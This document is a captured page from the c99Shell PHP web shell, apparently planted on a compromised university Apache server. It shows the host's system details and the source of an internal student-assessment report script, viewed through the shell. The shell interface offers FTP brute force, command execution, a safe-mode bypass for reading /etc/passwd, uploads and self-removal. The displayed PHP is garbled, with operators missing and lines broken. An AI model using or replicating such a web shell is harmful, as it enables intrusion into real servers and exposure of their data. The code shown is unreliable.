!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/eassess_OLD/admin/   drwxr-xr-x
Free 51 GB of 127.8 GB (39.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     reportDataRQHStd_excel2.php (13.65 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?
header
('Content-type: application/xls');
header('Content-Disposition: attachment; filename="testing.xls"');
//include_once "template.php";
//showHeader();
include_once "../../class/clsDB.php";
include_once 
"../../class/clsConnection.php";
include_once 
"../global.php";
include_once 
"../link/function.php";
include_once 
"../class/clsReg_SysSemesterDes.php";
include_once 
"../link/function.php";
include_once 
"../class/clsStudentAssess.php";
include_once 
"../class/clsHoldStudent.php";
include_once 
"../class/clsDefineAssessment.php";
include_once 
"../class/clsAssessForm.php";
include_once 
"../class/clsDoAssessmentHStd.php";
include_once 
"../class/clsResultRQHStd.php";
include_once 
"../class/clsSectionAll.php";
include_once 
"../class/clsSectionRQ.php";
include_once 
"../class/clsHeaderQuestion.php";
include_once 
"../class/clsHeaderScore.php";
include_once 
"../class/clsDetailScore.php";
include_once 
"../class/clsRadioQuestion.php";
include_once 
"../class/clsSectionAll.php";

$oCR = new clsConnection($GLOBALS['HOST'], $GLOBALS['DB_REG'], $GLOBALS['USER_REG'], $GLOBALS['PASSWORD_REG']);

$oCA = new clsConnection($GLOBALS['HOST'], $GLOBALS['DB_EASS'], $GLOBALS['USER_EASS'], $GLOBALS['PASSWORD_EASS']);

$oSse = new SysSemesterDes($oCR);
$oSse->SearchByKey($semester);
$oSse->GetRecord();

$oDA = new DefineAssessment($oCA);
$oDA->SearchByDefineid($defineid);
$oDA->GetRecord();
        
$numStdDoAss 0;
$oDoHStd = new DoAssessmentHStd($oCA);
//$oDoHStd->SearchByDefineid($defineid);
//while($oDoHStd->GetRecord()){
//    $numStdDoAss++;
//}
$numStdDoAss $oDoHStd->CountDoidByDefineid($defineid,$stdY);

$oAF = new AssessForm($oCA);
$oAF->RSAssessFormByAssid($assid);
$oAF->GetRecord();

$oHStd = new HoldStudent($oCA);

//ค้นหาคำถามปลายเปิดในแบบประเมินนี้ sectionTQid = 1
$oSA = new SectionAll($oCA);
$CntSRQid $oSA->RSCountSectionRQid($assid);

$oRRQ = new ResultRQHStd($oCA);
?>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<table width="83%" align="center" border="0" cellpadding="0" cellspacing="1">

                <tr> 
                  <td height="22" align="center">&nbsp;</td>
                  <td align="center">&nbsp;</td>
                  <td align="center">&nbsp;</td>
                  <td align="center">&nbsp;</td>
                  <td align="center">&nbsp;</td>
                  <td align="center">&nbsp;</td>
                  <td align="center">&nbsp;</td>
                  <td align="center">&nbsp;</td>
                  <td align="center">&nbsp;</td>
                  <td align="center">&nbsp;</td>
                  <td align="center">&nbsp;</td>
                  <td align="center">&nbsp;</td>
                  <td align="center">&nbsp;</td>
                  <td align="center">&nbsp;</td>
                  <td align="center">&nbsp;</td>
                  <td align="center">&nbsp;</td>
                  <td align="center">&nbsp;</td>
                  <td align="center">&nbsp;</td>
                  <td align="center">&nbsp;</td>
                  <td align="center">&nbsp;</td>
                </tr>
                <tr> 
                  <td height="22" colspan="20"><font size="3"><b>รายงานผลการประเมินข้อมูลดิบ 
                    (เฉพาะคำถามปลายปิด)</b></font></td>
                </tr>
                <tr> 
                  <td height="22" colspan="20" align="center"><font size="3"><b> 
                    </b></font></td>
                </tr>
                <tr>
                  <td height="22" colspan="20" ><font size="2"><b>ชื่อทางการแบบประเมิน 
                    : </b><? if($oAF->maintopic == ""){ echo "-"; }else{ echo $oAF->maintopic; } ?>
                    <b> </b></font></td>
                </tr>
                <tr> 
                  <td height="22" colspan="20" ><font size="2"><b>ชื่อทั่วไปแบบประเมิน 
                    </b></font><font size="2"><b>&nbsp;&nbsp;&nbsp;: </b><? echo $oAF->nameAss ?> </font></td>
                </tr>
                <tr> 
                  <td height="22" colspan="20" ><font size="2"><b>ปีการศึกษา&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</b></font><font size="2"><b>: 
                    </b> <?php echo $oSse->semesterName;?> / <?php echo $acadYear ?>&nbsp;</font></td>
                </tr>
                <tr> 
                  <?    if($oDA->flag == 2){   ?>
                  <td height="22" colspan="20" ><font size="2"><b>ประเมินนักศึกษาชั้นปีที่</b></font><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"> 
                    <b>&nbsp;&nbsp;: </b></font> 
                    <?php
                                $x
=1;
                                
$oHStd->SearchByDefineid($defineid);
                                while(
$oHStd->GetRecord()){ 
                                
/*    $oStd = new StudentAssess($oCA);
                                    //$Tm1 = $oStd->CountStdBystdYearAss($oHStd->stdYearAss);
                                    $Tm1 = $oStd->CountHstdRegis($oDA->acadYear, $oDA->semester, $oHStd->stdYearAss); //edit 08/2553
                                    $numStdAll = $Tm2+$Tm1;
                                    $Tm2 = $numStdAll;
                                */
                                    
$stdYearAssTmp[$x] = $oHStd->stdYearAss;
                                    
$x++;
                                }
                                
$round 0;                        
                                for(
$i=1;$i<=4;$i++){                            
                                    if(
$stdYearAssTmp[$i] != ""){
                                        
$round ++;
                                    }
                                }        
            
                                for(
$i=1;$i<=4;$i++){        
                                    echo 
$stdYearAssTmp[$i];
                                    if(
$i<=$round-1){
                                        echo 
",";
                                    }
                                }
                                
$oStd = new StudentAssess($oCA);
                                
$numStdAll $oStd->CountHstdRegis($oDA->acadYear$oDA->semester$stdY);
                            
?>                  </td>
                  <? }else if($oDA->flag == 3){  ?>
                  <td width="173" height="22" valign="baseline" colspan="15"><font size="2"><b> 
                    ประเภทหลักสูตรที่ประเมิน</b></font><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"> 
                    <b>: </b></font> <font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"> 
                    <?php
                                
//หาจำนวนนักศึกษาที่มีสิทธิ์ประเมิน-หลักสุตร-ชั้นปี
                                
$oHPg->SearchByDefineid($defineid);
                                while(
$oHPg->GetRecord()){ 
                                    
$oProg->SearchByKey($oHPg->programId);
                                    
$oProg->GetRecord();
                                    
//echo "<br> programId = ".$oHPg->programId."   stdYear = ".$oHPg->stdYearAss;
                                    
$oStd = new StudentAssess($oCA);
                                    
$Tm1 $oStd->CountStdByProgramNameStdYearAss($oProg->programName,$oHPg->stdYearAss);
                                    
//echo "   --> ".$Tm1;
                                    
$numStdAll $Tm2+$Tm1;
                                    
$Tm2 $numStdAll;
                                }
                                
                                
//แสดงหลักสูตร-ชั้นปี ที่มีการกำหนดให้มีการประเมิน
                                
$x=1;
                                
$oHP1->SearchByDefineidGroupByProgramId($defineid);
                                while(
$oHP1->GetRecord()){ 
                                    
$oProg->SearchByKey($oHP1->programId);
                                    
$oProg->GetRecord();
                                    
$stdProgTmp[$x] = $oProg->programName;

                                    
$m=1;
                                    
$oHP2->SearchByProgramIdDefineid($oHP1->programId,$defineid);
                                    while(
$oHP2->GetRecord()){
                                        
$stdYearAssTmp[$x][$m] =  $oHP2->stdYearAss;
                                        
$m++;
                                    }
                                    
$indexStdYear[$x] = $m-1;    
                                    
$x++;
                                }  
// end while oHP1

                                
$round 0;                        
                                for(
$i=1;$i<=$x-1;$i++){                            
                                    if(
$stdProgTmp[$i] != ""){
                                        
$round ++;
                                    }
                                }        

                                for(
$i=1;$i<=$x-1;$i++){
                                    
$round_in 0;        
                                    echo 
$stdProgTmp[$i]." - ปี";
                                    for(
$j=1;$j<=$indexStdYear[$i];$j++){
                                        echo 
$stdYearAssTmp[$i][$j];
                                        if(
$stdYearAssTmp[$i][$j] != ""$round_in++;
                                        if(
$round_in $indexStdYear[$i]) echo ",";
                                    }
                                    if(
$i<=$round-1) echo "<br> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
                                }
                            
?>
                    </font></td>
                  <? ?>
                </tr>
                <tr> 
                  <td height="22" colspan="20" ><font size="2"><b>ช่วงเวลาในการประเมิน</b></font><font size="2"><b> 
                    &nbsp;:</b></font><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"> 
                    <? echo abbreDate(splitDateDb2($oDA->startDate,'/')); ?> - 
                    <? echo abbreDate(splitDateDb2($oDA->endDate,'/'));  ?></font><font size="2"><b> 
                    &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;จำนวนนักศึกษาที่มีสิทธิ์ประเมินผล 
                    : </b></font><font size="2"><? echo $numStdAll ?></font></td>
                </tr>
                <tr> 
                  <td height="22" colspan="20" ><font size="2"><b>ร้อยละของนักศึกษาที่เข้าประเมิน 
                    : </b> 
                    <? $percentStdDo = ($numStdDoAss $numStdAll )*100;  printf ("%.2f",$percentStdDo);?>
                    </font><font size="2"><b> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;จำนวนนักศึกษาที่เข้ามาประเมินผล 
                    : </b></font><font size="2"><? echo $numStdDoAss ?></font></td>
                </tr>
                <tr><td>&nbsp;</td></tr>
  <tr>              
    <td> 
      <?          
                    
/*------------------------หาจำนวนของส่วนว่ามีกี่ส่วน  และจำนวนของข้อคำถามที่มีตัวเลือก----------------------------*/
                    
$numSection 0;
                    
$ocSA = new SectionAll($oCA);
                    
//$numSection = $oSA->RSCountSectionRQid($assid);
                      
$ocSA->RSByKeyAss($assid);
                    while(
$ocSA->GetRecord()){
                        if(
$ocSA->sectionRQid != '0'){
                                
$ocRQ = new RadioQuestion($oCA);
                                
$ocRQ->RSRadioQByKey($assid,$ocSA->sectionRQid,1);
                                while(
$ocRQ->GetRecord()){
                                    
$ocCntRQ = new RadioQuestion($oCA);
                                    
$cCntSubQ $ocCntRQ->RSCountSubRQid($assid,$ocRQ->RQid,'2');

                                    if(
$cCntSubQ == 0){
                                        
$mergeRQ[$numSection]++;
                                    } 
//end if CntSubQ

                                    
$oscRQ = new RadioQuestion($oCA);
                                    
$oscRQ->RSCheckLevel($assid,$ocRQ->RQid);
                                    while(
$oscRQ->GetRecord()){
                                        
$mergeRQ[$numSection]++;
                                    } 
//end while oscRQ
                                
// end while ocRQ
                            
$numSection++;
                        } 
// end if ocSA
                    
// end while ocSA
            
?>
      <br>
                   <table width="100%" border="1" align="center">
                  <tr bgcolor="#CFCFCF">   
                    <td width="13%" rowspan="2" align="center"><font size="2"><b>ลำดับที่ประเมิน</b></font></td>
                          <? 
                            $oSA1
= new SectionAll($oCA);
                            
$i 0;
                            
$indexSection_head 1;
                            
$oSA1->RSByKeyAss($assid);
                            while (
$oSA1->GetRecord()){
                                
/*---------------- กรณีที่เลือกเป็นคำถามชนิดปลายปิด------------------*/
                                
if($oSA1->sectionRQid != '0'){    
                            
?>
                            <td width="87%" height="25%" colspan="<? echo $mergeRQ[$i?>" align="center"><font size="2"><b>คะแนนรายข้อคำถาม  ส่วนที่ <? echo $indexSection_head?> </b></font></td>
                            <?
                                    $mergeAll 
+= $mergeRQ[$i];
                                    
$i++;
                                } 
// end if oSA
                                    
$indexSection_head++;
                            } 
//end while oSA 
                            
?>
                       </tr> 
                    <tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_7"];?>"> 
                <? /*--------------------------------------- สร้างส่วนหัวของตาราง  ข้อคำถามของแบบประเมินที่มีตัวเลือก-------------------------------*/ 
                        
$oSA = new SectionAll($oCA);
                       
$oSA->RSByKeyAss($assid);
                        while(
$oSA->GetRecord()){
                            if(
$oSA->sectionRQid != '0'){    
                                
//สร้าง oSRQ แสดงหัวข้อของส่วนการประเมิน
                                
$index1=1;
                                
$oRQ = new RadioQuestion($oCA);
                                
$oRQ->RSRadioQByKey($assid,$oSA->sectionRQid,1);
                                
//---------->แสดงคำถามชนิดปลายปิดข้อหลัก
                                
while($oRQ->GetRecord()){
                                        
$oCntRQ = new RadioQuestion($oCA);
                                        
$CntSubQ $oCntRQ->RSCountSubRQid($assid,$oRQ->RQid,'2');
                                        if(
$CntSubQ == 0){
                     
?>
                                           <td width="3%" height="22" align="center" bgcolor="#CFCFCF"><font size="2"><? echo $index1?></font></td>            
                    <?
                                        
//end if CntSubQ
                                        
$index2=1;
                                        
$osRQ = new RadioQuestion($oCA);
                                        
$osRQ->RSCheckLevel($assid,$oRQ->RQid);
                                        while(
$osRQ->GetRecord()){
                    
?>
                                             <td width="3%" height="22" align="center" bgcolor="#CFCFCF"><font size="2"><? echo $index1.".".$index2?></font></td>
                    <?
                                            $index2
++;
                                        } 
//end while osRQ
                                        
$index1++; 
                                } 
// end while oRQ        
                            
}  //end while oSA    
                        
//end if sectionRQ
                
?>
                        </tr>
                <? 
                    $indexDoAss 
1;    
                    
$oDoHStd = new DoAssessmentHStd($oCA);
                    
$oDoHStd->SearchByDefineid($defineid);
                    while(
$oDoHStd->GetRecord()){
                
?>
                        <tr bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_5'];?>"> 
                            <td align="center"><font size="2"><? echo $indexDoAss?></font></td>
                <?
                        $orSA 
= new SectionAll($oCA);
                        
$orSA->RSByKeyAss($assid);
                        while(
$orSA->GetRecord()){
                            if(
$orSA->sectionRQid != '0'){    
                                
$oRRQ->SearchPointByDoHSidSectionRQid($oDoHStd->doHSid,$orSA->sectionRQid);
                                while(
$oRRQ->GetRecord()){
                                
?>
                                  <td align="center"><font size="2"><? echo $oRRQ->point?></font></td>
                                <?
                                
// end while oRRQ
                            
// end if orSA
                        
// end while orSA 
                    
?> </tr>
                    <?        $indexDoAss++;
                        } 
// end while oDoHStd

                        
if(($indexDoAss-1) == 0){ ?>
                          <tr bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_5'];?>">
                                <td colspan="<? echo $mergeAll+1 ?>" align="center">
                                    <font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>">** ไม่พบข้อมูล **</font>
                                </td>
                        </tr>
                    <?    }  ?>
                    </table>
      </div>
</body>
<?php
//showFooter();
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0187 ]--